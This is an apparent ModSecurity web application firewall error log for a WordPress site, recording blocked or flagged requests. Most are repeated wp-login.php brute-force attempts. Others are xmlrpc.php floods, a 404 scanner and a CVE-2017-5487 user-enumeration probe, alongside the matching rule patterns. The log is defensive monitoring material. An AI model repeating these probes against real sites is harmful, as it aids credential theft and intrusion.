[Wed Mar 18 11:04:44.806135 2026] [:error] [pid 42871:tid 42918] [client 135.181.213.219:21224] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aboWTGPUS0lM1M9nUaKZAQAAAIQ"]
[Wed Mar 18 11:30:13.523518 2026] [:error] [pid 31232:tid 31254] [client 101.32.208.70:40270] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abocRWX6HV7dqh3BQD2FuwAAAFM"]
[Wed Mar 18 12:07:09.123119 2026] [:error] [pid 42870:tid 42906] [client 37.140.223.3:53403] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abok7Z6axlAooiuYyUyBiQAAABU"]
[Wed Mar 18 12:22:14.377278 2026] [:error] [pid 43009:tid 43034] [client 37.140.223.26:62117] [client 37.140.223.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aboodn8aUp4Sm6m3nmPq9AAAARc"]
[Wed Mar 18 12:22:14.389985 2026] [:error] [pid 42970:tid 42974] [client 136.144.33.16:30539] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aboodo5YFUj4vBJI0KT7OAAAAMI"]
[Wed Mar 18 12:26:29.217275 2026] [:error] [pid 42870:tid 42904] [client 37.140.223.5:63501] [client 37.140.223.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abopdZ6axlAooiuYyUyRegAAABM"]
[Wed Mar 18 12:26:29.217290 2026] [:error] [pid 42870:tid 42885] [client 37.140.223.25:29311] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abopdZ6axlAooiuYyUyReQAAAAA"]
[Wed Mar 18 12:30:42.195808 2026] [:error] [pid 31232:tid 31247] [client 193.36.225.239:29355] [client 193.36.225.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aboqcmX6HV7dqh3BQD2ykAAAAEw"]
[Wed Mar 18 12:34:23.831037 2026] [:error] [pid 31232:tid 31245] [client 43.157.175.122:58436] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aborT2X6HV7dqh3BQD21ywAAAEo"]
[Wed Mar 18 12:34:53.575679 2026] [:error] [pid 53755:tid 53763] [client 37.140.223.17:27913] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aborbaqw5ZSRshmIhWlvpgAAAUY"]
[Wed Mar 18 12:39:08.731113 2026] [:error] [pid 42870:tid 42908] [client 193.36.225.138:28859] [client 193.36.225.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abosbJ6axlAooiuYyUyb6AAAABc"]
[Wed Mar 18 12:51:50.603804 2026] [:error] [pid 42870:tid 42898] [client 37.140.223.1:35931] [client 37.140.223.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abovZp6axlAooiuYyUynVAAAAA0"]
[Wed Mar 18 12:56:05.594722 2026] [:error] [pid 42870:tid 42893] [client 37.140.223.15:30697] [client 37.140.223.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abowZZ6axlAooiuYyUyrEwAAAAg"]
[Wed Mar 18 13:00:13.912796 2026] [:error] [pid 31232:tid 31256] [client 136.144.33.17:36939] [client 136.144.33.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aboxXWX6HV7dqh3BQD3GaQAAAFU"]
[Wed Mar 18 13:05:14.129255 2026] [:error] [pid 31232:tid 31248] [client 45.171.192.110:9612] [client 45.171.192.110] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aboyimX6HV7dqh3BQD3KCgAAAE0"]
[Wed Mar 18 13:05:17.780673 2026] [:error] [pid 43009:tid 43016] [client 223.244.35.77:59044] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aboyjX8aUp4Sm6m3nmP3XwAAAQU"]
[Wed Mar 18 13:05:34.761447 2026] [:error] [pid 53755:tid 53767] [client 37.140.223.25:60141] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aboynqqw5ZSRshmIhWl9CAAAAUo"]
[Wed Mar 18 13:06:47.682623 2026] [:error] [pid 42870:tid 42908] [client 45.171.192.110:9733] [client 45.171.192.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.171.192.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aboy556axlAooiuYyUyz3gAAABc"]
[Wed Mar 18 13:08:15.586513 2026] [:error] [pid 42870:tid 42890] [client 45.171.192.110:10106] [client 45.171.192.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.171.192.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abozP56axlAooiuYyUy0xQAAAAU"]
[Wed Mar 18 13:09:48.162744 2026] [:error] [pid 42870:tid 42902] [client 37.140.223.13:58573] [client 37.140.223.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aboznJ6axlAooiuYyUy2QgAAABE"]
[Wed Mar 18 13:09:56.696639 2026] [:error] [pid 31232:tid 31248] [client 45.171.192.110:10999] [client 45.171.192.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.171.192.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abozpGX6HV7dqh3BQD3MRAAAAE0"]
[Wed Mar 18 13:11:29.799493 2026] [:error] [pid 31232:tid 31235] [client 45.171.192.110:9547] [client 45.171.192.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.171.192.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abo0AWX6HV7dqh3BQD3NCAAAAEA"]
[Wed Mar 18 13:12:58.103722 2026] [:error] [pid 42871:tid 42929] [client 45.171.192.110:9107] [client 45.171.192.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.171.192.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abo0WmPUS0lM1M9nUaKn_AAAAI8"]
[Wed Mar 18 13:14:03.789851 2026] [:error] [pid 42870:tid 42909] [client 37.140.223.23:51685] [client 37.140.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo0m56axlAooiuYyUy5EwAAABg"]
[Wed Mar 18 13:14:03.789961 2026] [:error] [pid 42870:tid 42890] [client 193.36.225.113:52039] [client 193.36.225.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo0m56axlAooiuYyUy5FAAAAAU"]
[Wed Mar 18 13:18:15.514744 2026] [:error] [pid 31232:tid 31259] [client 193.36.225.132:60249] [client 193.36.225.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo1l2X6HV7dqh3BQD3P3gAAAFg"]
[Wed Mar 18 13:22:32.926565 2026] [:error] [pid 53755:tid 53758] [client 37.140.223.8:55479] [client 37.140.223.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo2mKqw5ZSRshmIhWmB8AAAAUE"]
[Wed Mar 18 13:22:32.926689 2026] [:error] [pid 53755:tid 53770] [client 37.140.223.13:23695] [client 37.140.223.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo2mKqw5ZSRshmIhWmB8QAAAU0"]
[Wed Mar 18 13:26:41.513166 2026] [:error] [pid 43009:tid 43026] [client 193.36.225.132:54843] [client 193.36.225.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo3kX8aUp4Sm6m3nmP8KwAAAQ8"]
[Wed Mar 18 13:30:59.820976 2026] [:error] [pid 31232:tid 31256] [client 37.140.223.18:63891] [client 37.140.223.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo4k2X6HV7dqh3BQD3X3QAAAFU"]
[Wed Mar 18 13:30:59.821916 2026] [:error] [pid 42870:tid 42892] [client 37.140.223.25:38869] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo4k56axlAooiuYyUzEdQAAAAc"]
[Wed Mar 18 13:35:15.724232 2026] [:error] [pid 42870:tid 42902] [client 37.140.223.18:26285] [client 37.140.223.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo5k56axlAooiuYyUzHEAAAABE"]
[Wed Mar 18 13:35:15.724274 2026] [:error] [pid 53755:tid 53759] [client 37.140.223.10:46019] [client 37.140.223.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo5k6qw5ZSRshmIhWmH1QAAAUI"]
[Wed Mar 18 13:39:23.603369 2026] [:error] [pid 31232:tid 31238] [client 193.36.225.131:64773] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo6i2X6HV7dqh3BQD3dcgAAAEM"]
[Wed Mar 18 13:39:23.607349 2026] [:error] [pid 31232:tid 31253] [client 37.140.223.4:29111] [client 37.140.223.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo6i2X6HV7dqh3BQD3dcwAAAFI"]
[Wed Mar 18 13:43:52.011596 2026] [:error] [pid 42870:tid 42904] [client 172.245.102.9:49585] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo7mJ6axlAooiuYyUzJ9wAAABM"]
[Wed Mar 18 13:43:52.012576 2026] [:error] [pid 31232:tid 31239] [client 193.36.225.248:44355] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo7mGX6HV7dqh3BQD3gLQAAAEQ"]
[Wed Mar 18 13:48:07.841452 2026] [:error] [pid 42871:tid 42914] [client 136.144.33.16:31053] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo8l2PUS0lM1M9nUaKwRAAAAIA"]
[Wed Mar 18 13:48:07.841710 2026] [:error] [pid 42872:tid 42956] [client 193.36.225.130:20843] [client 193.36.225.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo8lzchM8PQMaMEWJmgRQAAAc4"]
[Wed Mar 18 13:52:26.902030 2026] [:error] [pid 42970:tid 42990] [client 37.140.223.4:35465] [client 37.140.223.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo9mo5YFUj4vBJI0KQL9QAAANI"]
[Wed Mar 18 13:52:26.903106 2026] [:error] [pid 43009:tid 43030] [client 193.36.225.134:21487] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo9mn8aUp4Sm6m3nmMBZwAAARM"]
[Wed Mar 18 13:56:36.324134 2026] [:error] [pid 42871:tid 42929] [client 37.140.223.13:24873] [client 37.140.223.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo-lGPUS0lM1M9nUaK0CAAAAI8"]
[Wed Mar 18 14:00:58.082415 2026] [:error] [pid 53755:tid 53759] [client 193.36.225.134:51647] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo_mqqw5ZSRshmIhWmQeQAAAUI"]
[Wed Mar 18 14:00:58.082896 2026] [:error] [pid 53755:tid 53778] [client 193.36.225.134:29195] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abo_mqqw5ZSRshmIhWmQegAAAVU"]
[Wed Mar 18 14:05:16.308520 2026] [:error] [pid 42871:tid 42917] [client 37.140.223.23:33559] [client 37.140.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpAnGPUS0lM1M9nUaK4DwAAAIM"]
[Wed Mar 18 14:05:16.315509 2026] [:error] [pid 42871:tid 42936] [client 136.144.33.17:20323] [client 136.144.33.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpAnGPUS0lM1M9nUaK4EAAAAJY"]
[Wed Mar 18 14:09:23.471380 2026] [:error] [pid 20667:tid 20691] [client 37.140.223.24:35115] [client 37.140.223.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpBk5gyfQyvBhzza_09agAAAZY"]
[Wed Mar 18 14:09:23.471699 2026] [:error] [pid 20667:tid 20681] [client 193.36.225.111:57887] [client 193.36.225.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpBk5gyfQyvBhzza_09awAAAYw"]
[Wed Mar 18 14:13:47.615060 2026] [:error] [pid 31232:tid 31246] [client 37.140.223.17:20373] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpCm2X6HV7dqh3BQD30SwAAAEs"]
[Wed Mar 18 14:18:00.514153 2026] [:error] [pid 31232:tid 31235] [client 172.245.102.10:62165] [client 172.245.102.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpDmGX6HV7dqh3BQD32WgAAAEA"]
[Wed Mar 18 14:22:19.216706 2026] [:error] [pid 42870:tid 42908] [client 37.140.223.25:45887] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpEm56axlAooiuYyUzU1wAAABc"]
[Wed Mar 18 14:22:20.222336 2026] [:error] [pid 43009:tid 43023] [client 193.36.225.129:30389] [client 193.36.225.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpEnH8aUp4Sm6m3nmMFXgAAAQw"]
[Wed Mar 18 14:26:31.177347 2026] [:error] [pid 42871:tid 42929] [client 37.140.223.16:26871] [client 37.140.223.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpFl2PUS0lM1M9nUaLBywAAAI8"]
[Wed Mar 18 14:26:31.177688 2026] [:error] [pid 42870:tid 42890] [client 172.245.102.5:33013] [client 172.245.102.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpFl56axlAooiuYyUzV8gAAAAU"]
[Wed Mar 18 14:30:40.477122 2026] [:error] [pid 43009:tid 43033] [client 37.140.223.6:59017] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpGkH8aUp4Sm6m3nmMGXQAAARY"]
[Wed Mar 18 14:30:40.477371 2026] [:error] [pid 42970:tid 42991] [client 172.245.102.5:55631] [client 172.245.102.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpGkI5YFUj4vBJI0KQQZwAAANM"]
[Wed Mar 18 14:35:06.423861 2026] [:error] [pid 42871:tid 42917] [client 193.36.225.248:26063] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpHmmPUS0lM1M9nUaLE6QAAAIM"]
